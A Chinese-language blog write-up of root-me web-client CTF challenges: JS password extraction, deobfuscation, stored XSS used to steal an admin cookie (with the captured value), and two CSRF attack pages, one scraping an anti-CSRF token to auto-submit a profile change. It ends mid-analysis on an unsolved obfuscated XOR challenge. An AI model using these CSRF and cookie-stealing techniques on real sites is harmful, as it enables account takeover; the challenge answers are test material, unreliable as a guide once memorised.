[root-me](web-client)write up 一个大坑怎么填啊
阅读原文时间:2023年07月08日阅读:3

root-me web-client writeup

地址:www.root-me.org

打开网页发现按钮不能按,查看源代码,有 'disabled' ,按F12进行元素修改,去掉 'disabled'然后提交即可

查看源码,在js里面可以找到密码

这个也是提交答案的密码

Ctrl+U 在源码里可找到密码

分析这段js即可,很简单就是将 'GOD:HIDDEN'用 ":"进行分割,GOD作为用户名,HIDDEN作为密码,所以最后提交HIDDEN即可

function connexion(){
    var username = prompt("Username :", "");
    var password = prompt("Password :", "");
    var TheLists = ["GOD:HIDDEN"];
    for (i = 0; i < TheLists.length; i++)
    {
        if (TheLists[i].indexOf(username) == 0)
        {
            var TheSplit = TheLists[i].split(":");
            var TheUsername = TheSplit[0];
            var ThePassword = TheSplit[1];
            if (username == TheUsername && password == ThePassword)
            {
                alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)");
            }
        }
        else
        {
            alert("Nope, you're a naughty hacker.")
        }
    }
}

查看源代码,发现密码,进行urldecode解码即可

源码:var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");

两次urldecode,然后在控制台运行 document.write(String.fromCharCode(104,68,117,102,106,100,107,105,49,53,54))即可得到密码

查看源码可以看到一段js变形的代码,这里需要用到firefox的一个deobfuscator插件。

成功添加之后,在firefox菜单的开发者选项之中可以看到一个"javascript反混淆器",点击打开,即可分析。

看源码,分析之后有这一串十六进制

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

转回字符之后是 55,56,54,79,115,69,114,116,107,49,50,控制台里运行document.write(String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50))即可得到密码

无过滤,最简单的储存型xss,贴入某个xss平台的payload即可。

答案:cookie : ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6

注册,登录之后有一个提交信息的地方。

让我们在message填入我们xss平台的payload验证漏洞。果然存在漏洞。

接下来就是构造恶意页面,先分析profile页面。

所以我们提交的参数值有username,status两个。最后构造的恶意页面如下,放在自己服务器上。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF</title>
</head>
<body>
    <form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="username" value="deen" />
    <input type="hidden" name="status" value="on" />
    </form>
<script> document.csrf.submit()</script>
</body>
</html>

再message提交,

没有成功,是哪里出错了吗?求解。

有大佬会吗,求教…

<!DOCTYPE html>
<html>
<head>
    <title>csrf</title>
</head>
<body onload="get()">

<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="deen"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="forged-token" name="token" value=""/>
  <input type="submit" value="go"/>
</form>

<script>
var x = new XMLHttpRequest();
function get() {
  x.open("GET","?action=profile",true);
  x.send(null);
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("forged-token").value = token;
    document.getElementById("form-payload").submit();
  }
}
</script>
</body>
</html>

源代码如下:

var ð = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";

function _(x, y) {
  return x ^ y;
}

function __(y) {
  var z = 0;
  for (var i = 0; i < y; i++) {
    z += Math.pow(2, i);
  }
  return z;
}

function ___(y) {
  var z = 0;
  for (var i = 8 - y; i < 8; i++) {
    z += Math.pow(2, i);
  }
  return z
}

function ____(x, y) {
  y = y % 8;
  Ï = __(y);
  Ï = (x & Ï) << (8 - y);
  return (Ï) + (x >> y);
}

function _____(x, y) {
  y = y % 8;
  Ï = ___(y);
  Ï = (x & Ï) >> (8 - y);
  return ((Ï) + (x << y)) & 0x00ff;
}

function ______(x, y) {
  return _____(x, y)
}

function _______(_________, key) {
  ________ = "";
  ________2 = "";
  for (var i = 0; i < _________.length; i++) {
    c = _________.charCodeAt(i);
    if (i != 0) {
      t = ________.charCodeAt(i - 1) % 2;
      switch (t) {
        case 0:
          cr = _(c, key.charCodeAt(i % key.length));
          break;
        case 1:
          cr = ______(c, key.charCodeAt(i % key.length));
          break;
      }
    } else {
      cr = _(c, key.charCodeAt(i % key.length));
    }
    ________ += String.fromCharCode(cr);
  }
  return ________;
}

function __________(þ) {
  var ŋ = 0;
  for (var i = 0; i < þ.length; i++) {
    ŋ += þ["charCodeAt"](i)
  }
  if (ŋ == 8932) {
    var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");
    ç.document.write(þ)
  } else {
    alert("Mauvais mot de passe!")
  }
}
__________(_______(ð, prompt("Mot de passe?")));

这代码看得我真蛋疼…美化修改相关变量和函数名之后的代码如下:

var text = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47";

function a(x, y) {
  return x ^ y;
}

function b(y) {
  var z = 0;
  for (var i = 0; i < y; i++) {
    z += Math.pow(2, i);
  }
  return z;
}

function C(y) {
  var z = 0;
  for (var i = 8 - y; i < 8; i++) {
    z += Math.pow(2, i);
  }
  return z
}

function d(x, y) {
  y = y % 8;
  n = b(y);
  n = (x & n) << (8 - y);
  return (n) + (x >> y);
}

function e(x, y) {
  y = y % 8;
  n = C(y);
  n = (x & n) >> (8 - y);
  return ((n) + (x << y)) & 0x00ff;
}

function f(x, y) {
  return e(x, y)
}

function g(x, key) {
  y = "";
  z = "";
  for (var i = 0; i < x.length; i++) {
    c = x.charCodeAt(i);
    if (i != 0) {
      t = y.charCodeAt(i - 1) % 2;
      switch (t) {
        case 0:
          cr = a(c, key.charCodeAt(i % key.length));
          break;
        case 1:
          cr = f(c, key.charCodeAt(i % key.length));
          break;
      }
    } else {
      cr = a(c, key.charCodeAt(i % key.length));
    }
    y += String.fromCharCode(cr);
  }
  return y;
}

function m(pass) {
  var ŋ = 0;
  for (var i = 0; i < pass.length; i++) {
    ŋ += pass["charCodeAt"](i)
  }
  if (ŋ == 8932) {
    var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30");
    ç.document.write(pass)
  } else {
    alert("Mauvais mot de passe!")
  }
}
m(g(text, prompt("Mot de passe?")));

分析:

  1. m函数是对密码pass进行验证,密码正确的条件是pass所有字符的ascii值加起来为8932

  2. 关键在于g函数,g函数是对输入处理的核心函数。g函数有两个参数,一个已知,一个需要我们输入,返回值y就是我们要的密码。

    • 我曹…这要怎么个逆法…这嵌套调用想死…看了半天不会啊…aaa…

存储型xss,目标还是盗用管理员cookie,应该是有过滤的,先找输出点,然后fuzz

首先测试尖括号<>,发现被实体化了